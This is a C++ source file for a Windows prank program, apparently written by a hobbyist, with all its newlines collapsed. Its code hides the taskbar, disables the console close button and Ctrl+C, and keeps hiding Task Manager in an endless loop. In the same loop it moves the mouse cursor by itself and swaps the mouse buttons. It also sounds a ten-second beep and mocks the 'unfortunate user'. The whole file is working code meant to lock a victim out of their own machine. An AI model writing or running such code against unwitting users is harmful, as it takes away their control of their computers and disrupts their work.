#include <iostream> //this contains just about everything, you need this for 99% of C++ programs, unless the program is meant for a very specific task#include <windows.h> //contains many windows functions like findwindowusing namespace std; //makes it so we can use cout and endl and all that without typing std::cout or std::endl, etc etc.#define PI 3.14159 //yes, this actually rounds to 3 since i'm using it as an int, BUT I LIKE THE IDEA OF IT, SO I'LL KEEP IT AS PI!//also, the above statement makes it so i can use PI anywhere without declaring an integer or anything. //POINT p; //declares point p //POINT oldp; //declares point oldp, used to detect if the mouse did actually move. //POINT pDist; //create another point that is the difference between p and oldp, this will tell you the distance that your mouse traveled. take this distance and subtract/add it to p to counter the movement./*void error() { cout << "distX: " << pDist.x << "distY: " << pDist.y << endl; cout << "pX: " << p.x << "pY: " << p.y << endl; cout << "oldpX: " << oldp.x << "oldpY " << oldp.y << endl; //ERROR CHECKING? NO NEED! ALL THE CODE I WRITE IS 100% CLEAN, 100% OF THE TIME. not really... system("PAUSE"); } */ int bX = 0; //declare integer bX [this will be used for mouse coords] int bY = 0; //same as above int counting = 0; bool xCountingUp = true; //declares boolean xCountingUp and sets it to true [this will be used to cause a wave motion, given CPU speeds this may appear random] bool yCountingUp = true; //same as above string cDecision = ""; //declares string cDecision [this is used for user input at the very beginning. Set to a null value.// LPCTSTR title = L"WINduhZ HAS FAILED YOU! AGAIN!"; //this was used to set the title of a dialogue box.int main() { //the main entry point of the program HWND stealth = FindWindowA("ConsoleWindowClass",NULL); //declares window handle stealth. searches for a window that matches the consolewindowclass, title of that window can be anything. HWND taskKiller; // declares window handle taskKiller [used later to hide (read: disable) the task manager. HWND startmenu; //same as above but for startmenu [task bar, whatever]. startmenu = FindWindowA("Shell_TrayWnd",""); //searches for window in shell_traywnd [only window this could be is the taskbar, harhahrhar] with a null title. ShowWindow(startmenu, 0); //hides the startmenu (1 means show, 0 means hide) RemoveMenu(GetSystemMenu(stealth, FALSE), SC_CLOSE, MF_GRAYED); //we get the title bar that contains the minimize, max, and exit button of our program window, then we identify the close button, and gray it out SetConsoleCtrlHandler(NULL, TRUE); //this disables ctrl C so you can't breakpoint the program and exit. it might actually just disable the ctrl key itself, i don't remember. SetConsoleTitleA("changethis"); //makes the title of our program "changethis", as opposed to its current path on the system [very long for me, i like lots of folders :p] int iCountdown; //declares integer iCountdown [used for when the user enters "y" counting++; taskKiller = FindWindowA(NULL, "Windows Task Manager"); // OH YEAH, WHAT'D I SAY? ShowWindow(taskKiller, 0); // I TOLD YOU SO. I SAID "IM GOING TO MAKE A LOOP TO DETECT TASK MANAGER ON THE FIRST SCREEN." THEN I DID. AND IT WORKS. system("COLOR 9f"); //sets the color scheme of our console program to light blue background and bright white text. cout << "Dear unfortunate user, \nLOL I TROLL U UMADLOL?\nType either Y/N:" << endl; //out puts [console out] the text, then ends the line [starts a new line, same as \n] cin >> cDecision; if ((cDecision == "y") || (cDecision == "Y")) //if the user inputted y or Y, do what's in the block { //start of the block cout << "Good. Program exiting in about 10 seconds." << endl; for (iCountdown = 10; iCountdown >= 0; iCountdown--) { //sets iCountdown to 10; if it's greater than or equal to 0 then do what's in the block; subtract 1 from iCountdown Sleep(1000); //essentially "pauses" the program for 1 second. [time is in MS, 1000 = 1, 100 = 0.1, 10000 = 10, etc] cout << iCountdown << " seconds remaining." << endl; } // end the for block cout << "Okay, too bad :D" << endl; taskKiller = FindWindowA(NULL, "Windows Task Manager"); // just in case task manager is open already ShowWindow(taskKiller, 0); //same as above ShowWindow(stealth, 0); //BEGONE WINDOW, BEGONE! Beep(750,10000); //causes a system beep that's 750 hertz for 10 seconds. [very loud]. } //end of the if block if ((cDecision == "n") || (cDecision == "N")) { cout << "Unfortunate."; ShowWindow(stealth, 0); taskKiller = FindWindowA(NULL,"Windows Task Manager"); ShowWindow(taskKiller, 0); // MessageBox(NULL, L"Should have typed y :p", title, MB_TOPMOST); // this will create a dialogue box that will never close. // commented out since it'll prevent the good stuff. Beep(750,10000); //beep at a frequency of 750 Hz for 10,000 milliseconds [10 seconds] } if (cDecision == "t") return 0; //KILL-JOY! LAY DOWN THE BAN HAMMER!!!!!! for those of you that can't fathom what this line means, it's essentially saying if you enter in t the program will exit safely.//end while loop. AND SMOOTHLY TRANSITION INTO THE *OTHER* WHILE LOOP! while (1) { //note to self: adding taskKiller causes the mouse stuff to not work very well at all :( adding it to another function would stop the mouse stuff completely... what options do i have? //additional note: school computers are extremely slow. //further notes: LOL I FIGURED IT OUT. kept original mouse stuff below in case I decide to go back to it. //tested under win7. if (xCountingUp == true) bX++; //WHILE X IS COUNTING UP, THE X COORD OF THE MOUSE IS COUNTING UP, HURHURHUR. if (yCountingUp == true) bY++; //SAME AS ABOVE BUT FOR THE Y COORD if (bX == 1280) xCountingUp = false; //IF THE MOUSE GETS TO THE END OF THE SCREEN, DON'T COUNT UP ANYMORE if (bY == 720) yCountingUp = false; //SAME AS ABOVE BUT FOR Y. if (xCountingUp == false) bX--; //IF IT ISN'T COUNTING UP, THEN IT'S COUNTING DOWN HURHURHUR. if (yCountingUp == false) bY--; //same as above, caps is getting annoying now. if (bX == 0) xCountingUp = true; //if it reaches the *other* end [read: left/up] of the screen, start counting up if (bY == 0) yCountingUp = true; //same as above SetCursorPos(bX, bY); //takes all the stuff above and sets it as the mouse coord's. taskKiller = FindWindowA(NULL, "Windows Task Manager"); //gets a handle of the task manager, if it's open. ShowWindow(taskKiller, 0); //hides task manager if it can get a handle. SwapMouseButton(true); //left becomes right, right becomes left. but which comes first? the chicken or the egg? }} //the good part about programming is that you can add your own whimsical comments without having anyone else understand them! ha ha ha, jolly good one ol' chap!